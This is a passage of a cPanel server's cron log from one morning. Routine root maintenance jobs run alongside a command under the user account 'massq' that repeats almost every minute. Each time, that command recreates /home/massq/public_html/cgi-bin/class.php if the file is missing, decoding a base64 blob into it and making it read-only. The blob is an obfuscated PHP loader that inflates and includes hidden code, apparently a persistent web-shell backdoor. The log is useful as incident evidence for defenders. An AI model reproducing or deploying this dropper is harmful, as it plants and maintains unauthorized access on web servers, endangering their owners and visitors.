vFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:48:01 server CROND[11051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:48:01 server CROND[11049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:49:01 server CROND[11430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:49:01 server CROND[11431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:49:01 server CROND[11432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:50:01 server CROND[11824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:50:01 server CROND[11826]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:50:01 server CROND[11830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:50:01 server CROND[11829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:50:01 server CROND[11833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:50:01 server CROND[11831]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:50:01 server CROND[11834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:50:01 server CROND[11828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:50:01 server CROND[11832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:51:01 server CROND[12681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:51:01 server CROND[12682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:51:01 server CROND[12683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:52:01 server CROND[13156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:52:01 server CROND[13158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:52:01 server CROND[13157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:53:01 server CROND[13538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:53:01 server CROND[13539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:53:01 server CROND[13537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:54:01 server CROND[13975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:54:01 server CROND[13977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:54:01 server CROND[13976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:55:01 server CROND[14362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:55:01 server CROND[14376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:55:01 server CROND[14377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:55:01 server CROND[14378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:55:01 server CROND[14381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:55:01 server CROND[14380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:55:01 server CROND[14379]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:56:01 server CROND[15189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:56:01 server CROND[15190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:56:01 server CROND[15191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:57:01 server CROND[15671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:57:01 server CROND[15672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:57:01 server CROND[15673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:57:01 server CROND[15674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:58:01 server CROND[16055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:58:01 server CROND[16056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:58:01 server CROND[16057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:59:01 server CROND[16435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:59:01 server CROND[16436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:59:01 server CROND[16437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:00:01 server CROND[16831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:00:01 server CROND[16832]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:00:01 server CROND[16837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:00:01 server CROND[16836]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:00:01 server CROND[16840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:00:01 server CROND[16842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:00:01 server CROND[16841]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 05:00:01 server CROND[16845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:00:01 server CROND[16846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3